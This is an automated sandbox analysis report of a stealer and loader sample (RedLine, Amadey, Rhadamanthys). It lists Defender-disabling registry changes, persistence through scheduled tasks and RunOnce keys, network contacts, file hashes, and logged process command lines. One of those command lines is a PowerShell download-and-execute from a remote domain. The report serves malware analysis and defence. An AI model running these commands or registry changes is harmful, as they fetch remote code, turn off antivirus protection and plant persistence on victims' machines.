Analysis Overview
SHA256
a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96
Threat Level: Known bad
The file a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96 was found to be: Known bad.
Malicious Activity Summary
Aurora
RedLine payload
RedLine
Modifies Windows Defender Real-time Protection settings
Amadey
Rhadamanthys
Detect rhadamanthys stealer shellcode
Downloads MZ/PE file
Blocklisted process makes network request
Windows security modification
Executes dropped EXE
Loads dropped DLL
Checks computer location settings
Reads user/profile data of web browsers
Checks installed software on the system
Adds Run key to start application
Accesses cryptocurrency files/wallets, possible credential harvesting
Suspicious use of NtSetInformationThreadHideFromDebugger
Enumerates physical storage devices
Program crash
Suspicious behavior: EnumeratesProcesses
Creates scheduled task(s)
Checks SCSI registry key(s)
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Runs ping.exe
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-03-21 15:45
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-03-21 15:45
Reported
2023-03-21 15:48
Platform
win10v2004-20230220-en
Max time kernel
143s
Max time network
128s
Command Line
Signatures
Amadey
Aurora
Detect rhadamanthys stealer shellcode
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Modifies Windows Defender Real-time Protection settings
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Rhadamanthys
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
Reads user/profile data of web browsers
Windows security modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
Accesses cryptocurrency files/wallets, possible credential harvesting
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce | C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe | N/A |
Checks installed software on the system
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: 33 | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: 34 | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: 35 | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: 36 | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: 33 | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: 34 | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: 35 | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: 36 | N/A | C:\Windows\SysWOW64\Wbem\wmic.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\SysWOW64\Wbem\WMIC.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe
"C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe"
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4568 -ip 4568
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 1076
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2880 -ip 2880
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2880 -s 1092
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
"C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "legenda.exe" /P "Admin:N"
C:\Windows\SysWOW64\cacls.exe
CACLS "legenda.exe" /P "Admin:R" /E
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\f22b669919" /P "Admin:N"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\f22b669919" /P "Admin:R" /E
C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe
"C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe" >> NUL
C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe
"C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe"
C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe"
C:\Windows\SysWOW64\Wbem\wmic.exe
wmic os get Caption
C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic path win32_VideoController get name"
C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic cpu get name"
C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic cpu get name
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3920 -ip 3920
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3920 -s 692
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 93.184.221.240:80 | tcp | |
| US | 8.8.8.8:53 | 199.176.139.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 37.146.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| DE | 193.233.20.30:4125 | tcp | |
| US | 8.8.8.8:53 | 30.20.233.193.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 210.81.184.52.in-addr.arpa | udp |
| US | 20.189.173.3:443 | tcp | |
| US | 93.184.220.29:80 | tcp | |
| US | 8.8.8.8:53 | 216.74.101.95.in-addr.arpa | udp |
| DE | 193.233.20.30:4125 | tcp | |
| US | 8.8.8.8:53 | 62.13.109.52.in-addr.arpa | udp |
| RU | 62.204.41.87:80 | 62.204.41.87 | tcp |
| US | 8.8.8.8:53 | www.mdegmm.com | udp |
| US | 8.8.8.8:53 | 87.41.204.62.in-addr.arpa | udp |
| US | 162.248.50.116:443 | www.mdegmm.com | tcp |
| US | 8.8.8.8:53 | 116.50.248.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 188.155.64.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ebfertility.com | udp |
| US | 162.248.50.116:443 | www.mdegmm.com | tcp |
| US | 89.190.157.61:80 | ebfertility.com | tcp |
| US | 8.8.8.8:53 | 61.157.190.89.in-addr.arpa | udp |
| US | 162.248.50.116:443 | www.mdegmm.com | tcp |
| NL | 185.246.221.126:80 | 185.246.221.126 | tcp |
| LV | 195.123.211.54:80 | 195.123.211.54 | tcp |
| US | 8.8.8.8:53 | 126.221.246.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 54.211.123.195.in-addr.arpa | udp |
| NL | 212.87.204.93:8081 | tcp | |
| US | 93.184.221.240:80 | tcp | |
| US | 8.8.8.8:53 | 93.204.87.212.in-addr.arpa | udp |
| NL | 173.223.113.164:443 | tcp | |
| NL | 173.223.113.131:80 | tcp | |
| US | 204.79.197.203:80 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe
| MD5 | 85cbd9915cdf69a665af09772776836f |
| SHA1 | 2bdda7bd13bd1e09944115a728b5c0b6e05e72be |
| SHA256 | 201e464a540cf642b99377299c8482ddab50f0b473f7699988ac5303a1bb21c9 |
| SHA512 | 77ab219295565312a7f9d301f45f403c35824d2e771a86ea5ba0666d5d5f76aef40c6d13564d8da236262f44e3a029de652d745a7309008bd4291f3d6a9733c8 |
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe
| MD5 | 85cbd9915cdf69a665af09772776836f |
| SHA1 | 2bdda7bd13bd1e09944115a728b5c0b6e05e72be |
| SHA256 | 201e464a540cf642b99377299c8482ddab50f0b473f7699988ac5303a1bb21c9 |
| SHA512 | 77ab219295565312a7f9d301f45f403c35824d2e771a86ea5ba0666d5d5f76aef40c6d13564d8da236262f44e3a029de652d745a7309008bd4291f3d6a9733c8 |
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe
| MD5 | cc11bb8d75a5d4a53739a5c953a2e6ee |
| SHA1 | 4ae897be11dbbb628544323e4a1689ba3039ec5b |
| SHA256 | 2ee54add2a4dcae08ba9e76436350e98f8139944219772bdbb00c21f2490b589 |
| SHA512 | 5bc26e53b41cf438797b08828ce252c585d1bb5e34569d2cf794ec89c6de90b36c6af09ee00e79727b2f42ac6cdf86e82ecf433ec4586dad44a8667c25ac1c45 |
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe
| MD5 | cc11bb8d75a5d4a53739a5c953a2e6ee |
| SHA1 | 4ae897be11dbbb628544323e4a1689ba3039ec5b |
